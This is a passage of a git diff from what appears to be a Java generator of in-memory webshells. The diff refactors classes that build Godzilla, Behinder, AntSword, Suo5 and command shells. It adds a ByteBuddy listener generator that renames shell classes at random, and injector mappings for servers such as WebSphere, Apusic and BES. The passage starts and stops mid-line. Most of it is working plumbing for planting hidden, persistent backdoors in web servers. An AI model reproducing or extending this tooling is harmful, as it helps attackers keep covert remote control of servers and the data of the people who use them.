Pair.of(AntSwordServlet.class, WebSphereServletInjector.class)); - map.put(FILTER, Pair.of(AntSwordFilter.class, WebSphereFilterInjector.class)); - map.put(LISTENER, Pair.of(AntSwordListener.class, WebSphereListenerInjector.class)); - map.put(AGENT_FILTER_MANAGER, Pair.of(AntSwordFilterChainAdvisor.class, WebSphereFilterChainAgentInjector.class)); - return map; - } -} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/XxlJobShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/XxlJobShell.java deleted file mode 100644 index 6c96928d..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/XxlJobShell.java +++ /dev/null @@ -1,31 +0,0 @@ -package com.reajason.javaweb.memshell; - -import com.reajason.javaweb.memshell.springwebflux.command.CommandNettyHandler; -import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaNettyHandler; -import com.reajason.javaweb.memshell.xxljob.injector.XxlJobNettyHandlerInjector; -import org.apache.commons.lang3.tuple.Pair; - -import java.util.LinkedHashMap; -import java.util.Map; - -/** - * @author ReaJason - * @since 2025/1/21 - */ -public class XxlJobShell extends AbstractShell { - public static final String NETTY_HANDLER = "NettyHandler"; - - @Override - protected Map, Class>> getCommandShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(NETTY_HANDLER, Pair.of(CommandNettyHandler.class, XxlJobNettyHandlerInjector.class)); - return map; - } - - @Override - protected Map, Class>> getGodzillaShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(NETTY_HANDLER, Pair.of(GodzillaNettyHandler.class, XxlJobNettyHandlerInjector.class)); - return map; - } -} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellConfig.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellConfig.java index f5e9fbdf..dbb24f85 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellConfig.java @@ -1,5 +1,7 @@ package com.reajason.javaweb.memshell.config; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; import lombok.AllArgsConstructor; import lombok.Builder; import lombok.Data; @@ -35,7 +37,7 @@ public class ShellConfig { * 生成类的目标 JRE 版本 */ @Builder.Default - private int targetJreVersion = Constants.DEFAULT_VERSION; + private int targetJreVersion = Opcodes.V1_6; /** * 是否需要移除模块限制 diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellToolConfig.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellToolConfig.java index 1e78384f..388cbb71 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellToolConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellToolConfig.java @@ -1,8 +1,6 @@ package com.reajason.javaweb.memshell.config; -import com.reajason.javaweb.memshell.utils.CommonUtil; import lombok.AllArgsConstructor; -import lombok.Builder; import lombok.Data; import lombok.NoArgsConstructor; import lombok.experimental.SuperBuilder; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/AntSwordGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/AntSwordGenerator.java index 6f31f819..abb7012c 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/AntSwordGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/AntSwordGenerator.java @@ -4,14 +4,14 @@ import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper; import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; +import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.config.AntSwordConfig; -import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.ShellConfig; import net.bytebuddy.ByteBuddy; import net.bytebuddy.dynamic.DynamicType; import org.apache.commons.lang3.StringUtils; -import java.util.Map; +import java.util.HashMap; import static net.bytebuddy.matcher.ElementMatchers.named; @@ -48,13 +48,13 @@ public class AntSwordGenerator { builder = LogRemoveMethodVisitor.extend(builder); } - if (shellConfig.getShellType().startsWith(Constants.AGENT)) { + if (shellConfig.getShellType().startsWith(ShellType.AGENT)) { builder = builder.visit( - new LdcReAssignVisitorWrapper(Map.of( - "pass", antSwordConfig.getPass(), - "headerName", antSwordConfig.getHeaderName(), - "headerValue", antSwordConfig.getHeaderValue() - )) + new LdcReAssignVisitorWrapper(new HashMap(3) {{ + put("pass", antSwordConfig.getPass()); + put("headerName", antSwordConfig.getHeaderName()); + put("headerValue", antSwordConfig.getHeaderValue()); + }}) ); } else { builder = builder.field(named("pass")).value(antSwordConfig.getPass()) diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/BehinderGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/BehinderGenerator.java index a56bd18c..0a1c0de4 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/BehinderGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/BehinderGenerator.java @@ -4,15 +4,15 @@ import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper; import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; +import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.config.BehinderConfig; -import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.ShellConfig; import net.bytebuddy.ByteBuddy; import net.bytebuddy.dynamic.DynamicType; import org.apache.commons.codec.digest.DigestUtils; import org.apache.commons.lang3.StringUtils; -import java.util.Map; +import java.util.HashMap; import static net.bytebuddy.matcher.ElementMatchers.named; @@ -51,13 +51,13 @@ public class BehinderGenerator { builder = LogRemoveMethodVisitor.extend(builder); } - if (shellConfig.getShellType().startsWith(Constants.AGENT)) { + if (shellConfig.getShellType().startsWith(ShellType.AGENT)) { builder = builder.visit( - new LdcReAssignVisitorWrapper(Map.of( - "pass", md5Key, - "headerName", behinderConfig.getHeaderName(), - "headerValue", behinderConfig.getHeaderValue() - )) + new LdcReAssignVisitorWrapper(new HashMap(3) {{ + put("pass", md5Key); + put("headerName", behinderConfig.getHeaderName()); + put("headerValue", behinderConfig.getHeaderValue()); + }}) ); } else { builder = builder.field(named("pass")).value(md5Key) diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/CommandGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/CommandGenerator.java index a595d208..ea7ce018 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/CommandGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/CommandGenerator.java @@ -4,13 +4,13 @@ import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper; import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; +import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.config.CommandConfig; -import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.ShellConfig; import net.bytebuddy.ByteBuddy; import net.bytebuddy.dynamic.DynamicType; -import java.util.Map; +import java.util.HashMap; import static net.bytebuddy.matcher.ElementMatchers.named; @@ -38,8 +38,12 @@ public class CommandGenerator { builder = LogRemoveMethodVisitor.extend(builder); } - if (config.getShellType().startsWith(Constants.AGENT)) { - builder = builder.visit(new LdcReAssignVisitorWrapper(Map.of("paramName", shellConfig.getParamName()))); + if (config.getShellType().startsWith(ShellType.AGENT)) { + builder = builder.visit( + new LdcReAssignVisitorWrapper(new HashMap(3) {{ + put("paramName", shellConfig.getParamName()); + }}) + ); } else { builder = builder.field(named("paramName")).value(shellConfig.getParamName()); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/GodzillaGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/GodzillaGenerator.java index e5a2eb66..626f4eb5 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/GodzillaGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/GodzillaGenerator.java @@ -4,7 +4,7 @@ import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper; import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; -import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.config.GodzillaConfig; import com.reajason.javaweb.memshell.config.ShellConfig; import net.bytebuddy.ByteBuddy; @@ -12,7 +12,7 @@ import net.bytebuddy.dynamic.DynamicType; import org.apache.commons.codec.digest.DigestUtils; import org.apache.commons.lang3.StringUtils; -import java.util.Map; +import java.util.HashMap; import static net.bytebuddy.matcher.ElementMatchers.named; @@ -52,15 +52,15 @@ public class GodzillaGenerator { builder = LogRemoveMethodVisitor.extend(builder); } - if (shellConfig.getShellType().startsWith(Constants.AGENT)) { + if (shellConfig.getShellType().startsWith(ShellType.AGENT)) { builder = builder.visit( - new LdcReAssignVisitorWrapper(Map.of( - "pass", godzillaConfig.getPass(), - "key", md5Key, - "md5", md5, - "headerName", godzillaConfig.getHeaderName(), - "headerValue", godzillaConfig.getHeaderValue() - )) + new LdcReAssignVisitorWrapper(new HashMap(3) {{ + put("pass", godzillaConfig.getPass()); + put("key", md5Key); + put("md5", md5); + put("headerName", godzillaConfig.getHeaderName()); + put("headerValue", godzillaConfig.getHeaderValue()); + }}) ); } else { builder = builder.field(named("pass")).value(godzillaConfig.getPass()) diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ListenerGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ListenerGenerator.java new file mode 100644 index 00000000..76afee97 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ListenerGenerator.java @@ -0,0 +1,62 @@ +package com.reajason.javaweb.memshell.generator; + +import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordListener; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderListener; +import com.reajason.javaweb.memshell.shelltool.command.CommandListener; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaListener; +import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Listener; +import com.reajason.javaweb.memshell.utils.CommonUtil; +import com.reajason.javaweb.memshell.utils.ShellCommonUtil; +import net.bytebuddy.ByteBuddy; +import net.bytebuddy.asm.Advice; +import net.bytebuddy.asm.AsmVisitorWrapper; +import net.bytebuddy.dynamic.DynamicType; +import net.bytebuddy.dynamic.loading.ClassLoadingStrategy; + +import java.util.Collections; + +import static net.bytebuddy.matcher.ElementMatchers.named; + +/** + * @author ReaJason + * @since 2025/2/22 + */ +public class ListenerGenerator { + + public static Class generateListenerShellClass(Class implInterceptor, ShellTool shellTool) { + Class targetClass = null; + switch (shellTool) { + case Suo5: + targetClass = Suo5Listener.class; + break; + case Godzilla: + targetClass = GodzillaListener.class; + break; + case Behinder: + targetClass = BehinderListener.class; + break; + case AntSword: + targetClass = AntSwordListener.class; + break; + case Command: + targetClass = CommandListener.class; + break; + default: + throw new IllegalArgumentException("Unknown shell tool: " + shellTool); + } + String newClassName = targetClass.getName() + CommonUtil.getRandomString(5); + + try (DynamicType.Unloaded unloaded = new ByteBuddy() + .redefine(targetClass) + .name(newClassName) + .visit(new AsmVisitorWrapper.ForDeclaredMethods() + .method(named("getResponseFromRequest"), + new MethodCallReplaceVisitorWrapper(newClassName, Collections.singleton(ShellCommonUtil.class.getName())))) + .visit(Advice.to(implInterceptor).on(named("getResponseFromRequest"))) + .make()) { + return unloaded.load(ListenerGenerator.class.getClassLoader(), ClassLoadingStrategy.Default.WRAPPER_PERSISTENT).getLoaded(); + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/Suo5Generator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/Suo5Generator.java index 30b090d8..79eefe1c 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/Suo5Generator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/Suo5Generator.java @@ -4,13 +4,13 @@ import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper; import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; -import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.Suo5Config; import net.bytebuddy.ByteBuddy; import net.bytebuddy.dynamic.DynamicType; -import java.util.Map; +import java.util.HashMap; import static net.bytebuddy.matcher.ElementMatchers.named; @@ -41,12 +41,12 @@ public class Suo5Generator { builder = LogRemoveMethodVisitor.extend(builder); } - if (shellConfig.getShellType().startsWith(Constants.AGENT)) { + if (shellConfig.getShellType().startsWith(ShellType.AGENT)) { builder = builder.visit( - new LdcReAssignVisitorWrapper(Map.of( - "headerName", suo5Config.getHeaderName(), - "headerValue", suo5Config.getHeaderValue() - )) + new LdcReAssignVisitorWrapper(new HashMap(3) {{ + put("headerName", suo5Config.getHeaderName()); + put("headerValue", suo5Config.getHeaderValue()); + }}) ); } else { builder = builder diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/AggregatePacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/AggregatePacker.java index e8419973..11bc322a 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/AggregatePacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/AggregatePacker.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.memshell.packer; +import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.config.GenerateResult; import java.util.LinkedHashMap; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/bsh/BeanShellPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/bsh/BeanShellPacker.java index c0177598..d62588bd 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/bsh/BeanShellPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/bsh/BeanShellPacker.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.memshell.packer.bsh; +import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.packer.Packer; -import com.reajason.javaweb.memshell.packer.Packers; /** * @author ReaJason diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/Hessian2Packer.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/Hessian2Packer.java index 7a3fe32b..50d38dd3 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/Hessian2Packer.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/Hessian2Packer.java @@ -1,12 +1,6 @@ package com.reajason.javaweb.memshell.packer.deserialize.hessian; -import com.reajason.javaweb.deserialize.DeserializeConfig; -import com.reajason.javaweb.deserialize.Hessian2DeserializeGenerator; -import com.reajason.javaweb.deserialize.PayloadType; -import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.packer.AggregatePacker; -import com.reajason.javaweb.memshell.packer.Packer; -import org.apache.commons.codec.binary.Base64; /** * @author ReaJason diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/el/ELPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/el/ELPacker.java index 85180086..d39ae589 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/el/ELPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/el/ELPacker.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.memshell.packer.el; +import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.packer.Packer; -import com.reajason.javaweb.memshell.packer.Packers; /** * @author ReaJason diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/freemarker/FreemarkerPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/freemarker/FreemarkerPacker.java index 7bfd30c7..77709b80 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/freemarker/FreemarkerPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/freemarker/FreemarkerPacker.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.memshell.packer.freemarker; +import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.packer.Packer; -import com.reajason.javaweb.memshell.packer.Packers; /** * @author ReaJason diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/groovy/GroovyPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/groovy/GroovyPacker.java index 20532f76..195b782c 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/groovy/GroovyPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/groovy/GroovyPacker.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.memshell.packer.groovy; +import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.packer.Packer; -import com.reajason.javaweb.memshell.packer.Packers; /** * @author ReaJason diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/jexl/JEXLPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/jexl/JEXLPacker.java index c8479bd3..3402a5e6 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/jexl/JEXLPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/jexl/JEXLPacker.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.memshell.packer.jexl; +import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.packer.Packer; -import com.reajason.javaweb.memshell.packer.Packers; /** * @author ReaJason diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/jinjava/JinJavaPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/jinjava/JinJavaPacker.java index 6aeb3386..4ba27354 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/jinjava/JinJavaPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/jinjava/JinJavaPacker.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.memshell.packer.jinjava; +import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.packer.Packer; -import com.reajason.javaweb.memshell.packer.Packers; /** * @author ReaJason diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/jxpath/JXPathPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/jxpath/JXPathPacker.java index 13f14d8f..343f3867 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/jxpath/JXPathPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/jxpath/JXPathPacker.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.memshell.packer.jxpath; +import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.packer.Packer; -import com.reajason.javaweb.memshell.packer.Packers; /** * @author ReaJason diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/mvel/MVELPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/mvel/MVELPacker.java index ff3c459a..abcfaf00 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/mvel/MVELPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/mvel/MVELPacker.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.memshell.packer.mvel; +import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.packer.Packer; -import com.reajason.javaweb.memshell.packer.Packers; /** * @author ReaJason diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/ognl/OGNLPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/ognl/OGNLPacker.java index 200456f8..3237a77f 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/ognl/OGNLPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/ognl/OGNLPacker.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.memshell.packer.ognl; +import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.packer.Packer; -import com.reajason.javaweb.memshell.packer.Packers; /** * @author ReaJason diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/rhino/RhinoPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/rhino/RhinoPacker.java index b3758b82..9e375683 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/rhino/RhinoPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/rhino/RhinoPacker.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.memshell.packer.rhino; +import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.packer.Packer; -import com.reajason.javaweb.memshell.packer.Packers; /** * @author ReaJason diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/spel/SpELScriptEnginePacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/spel/SpELScriptEnginePacker.java index 706f6337..4afc2974 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/spel/SpELScriptEnginePacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/spel/SpELScriptEnginePacker.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.memshell.packer.spel; +import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.packer.Packer; -import com.reajason.javaweb.memshell.packer.Packers; /** * @author ReaJason diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/velocity/VelocityPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/velocity/VelocityPacker.java index ba1bf872..9da4b0d6 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/velocity/VelocityPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/velocity/VelocityPacker.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.memshell.packer.velocity; +import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.packer.Packer; -import com.reajason.javaweb.memshell.packer.Packers; /** * @author ReaJason diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/AbstractShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/AbstractShell.java new file mode 100644 index 00000000..7923d59a --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/AbstractShell.java @@ -0,0 +1,62 @@ +package com.reajason.javaweb.memshell.server; + +import com.reajason.javaweb.memshell.ShellTool; +import org.apache.commons.lang3.tuple.Pair; + +import java.util.Collections; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; + +/** + * @author ReaJason + * @since 2024/12/7 + */ +public abstract class AbstractShell { + + private final Map map = new LinkedHashMap<>(); + + public AbstractShell() { + init(); + } + + /** + * 定义注入器映射 + * + * @return 注入器映射 + */ + abstract InjectorMapping getShellInjectorMapping(); + + protected void addToolMapping(ShellTool shellTool, ToolMapping mapping) { + map.put(shellTool, mapping); + } + + /** + * 初始化方法,用来定义 shellToolMapping 填充 map + */ + abstract void init(); + + + /** + * 获取内存马功能所支持的注入类型列表 + * + * @param shellTool 内存马功能 + * @return shellTypes + */ + public List getSupportedShellTypes(ShellTool shellTool) { + ToolMapping toolMapping = map.get(shellTool); + if (toolMapping == null) { + return Collections.emptyList(); + } + return toolMapping.getSupportedShellTypes(); + } + + public Pair, Class> getShellInjectorPair(ShellTool shellTool, String shellType) { + ToolMapping mapping = map.get(shellTool); + if (mapping == null) { + throw new UnsupportedOperationException("please implement shell type: " + shellType + " for " + shellTool); + } + Map, Class>> shellClassMap = mapping.getShellClassMap(getShellInjectorMapping()); + return shellClassMap.get(shellType); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/ApusicShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/ApusicShell.java new file mode 100644 index 00000000..ee0ef3f6 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/ApusicShell.java @@ -0,0 +1,72 @@ +package com.reajason.javaweb.memshell.server; + +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.apusic.injector.ApusicFilterInjector; +import com.reajason.javaweb.memshell.apusic.injector.ApusicListenerInjector; +import com.reajason.javaweb.memshell.apusic.injector.ApusicServletInjector; +import com.reajason.javaweb.memshell.generator.ListenerGenerator; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet; +import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; +import com.reajason.javaweb.memshell.shelltool.command.CommandServlet; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet; +import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; +import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet; +import com.reajason.javaweb.memshell.utils.ShellCommonUtil; +import net.bytebuddy.asm.Advice; +import net.bytebuddy.implementation.bytecode.assign.Assigner; + +import static com.reajason.javaweb.memshell.ShellType.*; + +/** + * @author ReaJason + * @since 2024/12/27 + */ +public class ApusicShell extends AbstractShell { + + public static class ListenerInterceptor { + @Advice.OnMethodExit + public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception { + response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "parameters"), "response"); + } + } + + @Override + public InjectorMapping getShellInjectorMapping() { + return InjectorMapping.builder() + .addInjector(SERVLET, ApusicServletInjector.class) + .addInjector(FILTER, ApusicFilterInjector.class) + .addInjector(LISTENER, ApusicListenerInjector.class).build(); + } + + @Override + protected void init() { + addToolMapping(ShellTool.Godzilla, ToolMapping.builder() + .addShellClass(SERVLET, GodzillaServlet.class) + .addShellClass(FILTER, GodzillaFilter.class) + .addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Godzilla)).build()); + + addToolMapping(ShellTool.Command, ToolMapping.builder() + .addShellClass(SERVLET, CommandServlet.class) + .addShellClass(FILTER, CommandFilter.class) + .addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Command)).build()); + + addToolMapping(ShellTool.Behinder, ToolMapping.builder() + .addShellClass(SERVLET, BehinderServlet.class) + .addShellClass(FILTER, BehinderFilter.class) + .addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Behinder)).build()); + + addToolMapping(ShellTool.Suo5, ToolMapping.builder() + .addShellClass(SERVLET, Suo5Servlet.class) + .addShellClass(FILTER, Suo5Filter.class) + .addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Suo5)).build()); + + addToolMapping(ShellTool.AntSword, ToolMapping.builder() + .addShellClass(SERVLET, AntSwordServlet.class) + .addShellClass(FILTER, AntSwordFilter.class) + .addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.AntSword)).build()); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/BesShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/BesShell.java new file mode 100644 index 00000000..171f1b15 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/BesShell.java @@ -0,0 +1,82 @@ +package com.reajason.javaweb.memshell.server; + +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.bes.antsword.AntSwordValve; +import com.reajason.javaweb.memshell.bes.behinder.BehinderValve; +import com.reajason.javaweb.memshell.bes.command.CommandValve; +import com.reajason.javaweb.memshell.bes.godzilla.GodzillaValve; +import com.reajason.javaweb.memshell.bes.injector.*; +import com.reajason.javaweb.memshell.bes.suo5.Suo5Valve; +import com.reajason.javaweb.memshell.generator.ListenerGenerator; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; +import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor; +import 